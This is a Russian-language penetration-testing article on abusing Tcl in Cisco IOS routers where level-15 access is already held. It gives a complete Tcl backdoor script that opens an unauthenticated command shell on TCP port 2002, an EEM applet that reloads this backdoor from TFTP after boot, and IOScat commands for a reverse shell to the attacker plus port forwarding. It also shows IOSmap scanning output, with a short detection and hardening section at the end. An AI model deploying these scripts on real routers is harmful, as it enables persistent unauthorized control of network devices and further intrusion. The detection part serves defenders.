Содержание статьи
Достаточно часто в ходе проведения работ по тестированию на проникновение
встречаются машрутизаторы Cisco Systems с привилегированным доступом (level 15),
что позволяет использовать их для дальнейшего развития атак с использованием
функционала TCL. Сейчас я опишу несколько методов данных атак, и поверь, их
использование действительно приводит к повышению прав на, якобы, защищенном
маршрутизаторе.
Tcl – (Tool Command Language) – скриптовый язык часто применяемых с
графической библиотекой Tk, придуман в начале 80-х годов и из-за своей простоты
продолжает повсеместно использоваться как встроенный в различные приложения;
вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование
его как модуля к серверной части apache mod_tcl. В операционную систему IOS,
используемую маршрутизаторами Cisco Tcl, был введен с версии
IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems
функции выполнения "пользовательских" скриптов. Как наиболее часто встречаемый
пример, использование IOS IVR для создания интерактивных голосовых меню в
системах IP-телефонии.
Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном
случае открывается некоторая перспектива использования маршрутизатора для
следующих действий:
- Разработки собственного варианта "бэкдора" с целью закрепления системы и
доступа к ней в обход штатных механизмов защиты; - Проведения сканирования портов в различных сегментах сети;
- Проброса действующих портов на порт интерфейса, организации обратного
(реверсного) доступа к удаленным устройствам; - Разработки вариантов скриптов для возможности перебора паролей (брутфорса)
различных устройств и серверов в сети.
Данными методами также может воспользоваться злоумышленник, получив доступ к
TFTP-серверу компании, где размещены существующие скрипты и принудительно
заменить существующий сценарий на собственный. В этом случае произойдет его
загрузка и запуск на маршрутизаторе.
Практикуемся
Давай попробуем понять, как это можно реализовать с помощью удаленного шелла,
который можно использовать без явной аутентификации с входом на назначенный порт
по протоколу Telnet. Подобный сценарий использовался в качестве задания на
соревнованиях "Рускрипто CTF 2010".
В первую очередь давай разберем, как работает Tcl на устройствах под
управлением IOS.
Загрузка и исполнение TCL-скрипта:
Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ
не ниже уровня 15 (enable). Скрипт Tcl необходимо загружать удаленно, для этого
можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и
выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в
FLASH-память c последующим его запуском с файловой системы IOS.
Загрузка скрипта во FLASH и последующее его выполнение:
Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
Router# tclsh flash://script.tcl
Загрузка скрипта непосредственно с TFTP-сервера:
Router# tclsh t
ftp://192.168.1.4/script.tcl
Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на
порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка
скрипта выполняется методами, описанными выше (в приведенном примере с сервера
TFTP).
proc callback {sock addr port} {
fconfigure $sock -translation crlf -buffering line
puts $sock "Cisco router admin console:"
puts $sock " "
puts -nonewline $sock "Router# "
flush $sock
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
flush $sock
if {[catch {gets $sock line}] ||
[eof $sock]} {
return [close $sock]
}
catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}
puts -nonewline $sock "Router# "
flush $sock
}
set port 2002
set sh [socket -server callback $port]
vwait var
close $sh
После загрузки и последующего запуска вышеприведенного скрипта появится
возможность зайти в систему (режим EXEC) без использования учетных записей и
выполнять любые команды с использованием привилегий супер-пользователя (level
15).
[ptsec@maxpatrol ~]$ telnet router 2002
Trying 192.168.1.10...
Connected to router.
Escape character is '^]'.
Cisco router admin console:
Router#
Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо
помнить при работе с Tcl на устройствах под управлением IOS. В первых версиях
IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании
EXEC-сессии. В новых версиях последовало исправление, которое завершает работу
скрипта при обрыве линии или по команде clear line. Этот "патч-фикс"
производителя можно обойти несколькими способами:
1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт,
применить команду exec-timeout 0 0, в противном случае по завершении сессии
скрипт завершит свою работу.
Router>en
Router#conf t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#line vty 0 4
Router(config-line)#exec-timeout 0 0
2. Производить запуск скрипта с использованием апплетов EEM (Embedded
Event Manager) по триггеру, которым может быть любое действие, в том числе
периодический запуск по таймеру. На примере ниже показана конфигурация, которая
загружает скрипт с TFTP после запуска маршрутизатора по истечении 20 секунд.
Router(config)# event manager applet BACKDOOR
Router(config-applet)# event timer countdown name Delay time 20
Router(config-applet)# action 1.0 cli command "enable"
Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"
3. Конвертировать TCL-скрипт в формат политик EEM (Embedded Event
Manager) и запускать их по триггеру, которым может быть любое действие, в том
числе периодический запуск по таймеру.
Готовые утилиты
В ряде ситуаций можно использовать готовые скрипты, такие как IOScat и IOSmap,
входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу
файлов путем манипуляций с сокетами. Используя встроенный язык TCL, можно
использовать маршрутизатор аналогично ПК с установленным приложением Netcat,
предварительно загрузив скрипт TCL в flash-маршрутизатор или через TFTP-сервер
напрямую в RAM. Методика загрузки и установки TCL на маршрутизатор описана выше.
Примеры реализации:
Организация бэкдора на маршрутизаторе (2002 порт):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe
Организация реверсного шелла на адрес атакующего (порт 12345):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345
(на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)
Проброс удаленного порта на локальный порт маршрутизатора (2002):
Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1
-op80
У данного скрипта есть много других примеров, например копирование файлов с
использованием сокетов, имитация телнет-сессии на удаленном хосте и много других
функций, которые можно посмотреть на сайте разработчика.
Скрипт с названием IOSmap – не что иное, как попытка создать аналог сканера
nmap, конечно, в урезанном функционале, но в данном случае достаточно
эксклюзивным для работы в среде IOS. Функционал этого TCL-скрипта позволяет
производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том
числе используя метод инвентаризации хостов посредством протокола ICMP.
Рассмотрим примеры использования:
Router>en
Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
[OK - 15912 bytes]
Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
[OK - 42121 bytes]
Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC
Free Memory on Platform = 29038388 / Memory required for this scan = 2622514
Host 192.168.1.1 is unavailable
Host 192.168.1.2 is unavailable
Host 192.168.1.3 is unavailable
Interesting ports on host 192.168.1.4
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp closed ftp
22/tcp closed ssh
23/tcp closed telnet
24/tcp closed priv-mail
80/tcp open http
443/tcp closed https
Host 192.168.1.5 is unavailable
Router#
Изменение вариантов сканирования скрипта возможно путем добавления
аргументов:
-sP – только по ответу хоста;
-sT – TCP-портов методом TCP connect;
-sU – UDP-портов через функционал IP SLA.
Учитывая богатые возможности ТСL, можно разработать множество подобных,
интересных приложений для реализации их в сетевой среде на оборудовании Cisco
Systems.
Методы обнаружения
Имея возможность запускать скрипты, также интересно иметь возможность
отследить их исполнение. Сделать это можно, подсмотрев процессы и состояние
портов на маршрутизаторе, используя следующие команды маршрутизатора:
Router#show processes cpu | i Tcl
212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16
Router#show tcp brief all
TCB Local Address Foreign Address (state)
659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
654485B4 *.2002 *.* LISTEN
65CA2D04 *.80 *.* LISTEN
Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control
Plane Policy):
Router#show control-plane host open-ports
Active internet connections (servers and established)
Prot Local Address Foreign Address Service State
tcp *:23 *:0 Telnet LISTEN
tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
tcp *:80 *:0 HTTP CORE LISTEN
tcp *:1234 *:0 Tcl Serv - tty163 LISTEN
Также можно использовать и автоматизированные средства, такие как система
контроля защищенности и соответствия стандартам MaxPatrol (доступен для
скачивания на ptsecurity.ru).
Послесловие
Таким образом, все поняли, что любую, даже самую защищенную Cisco можно
захватить умело написанным и запущенным TCL-сценарием. В итоге злоумышленник
получает шелл со всеми вытекающими отсюда последствиями. А защититься от этого
можно только грамотной настройкой маршрутизатора, периодическим обновлением IOS
и ежедневным мониторингом логов подключений. В общем, не ленитесь и ухаживайте
за своей Cisco :).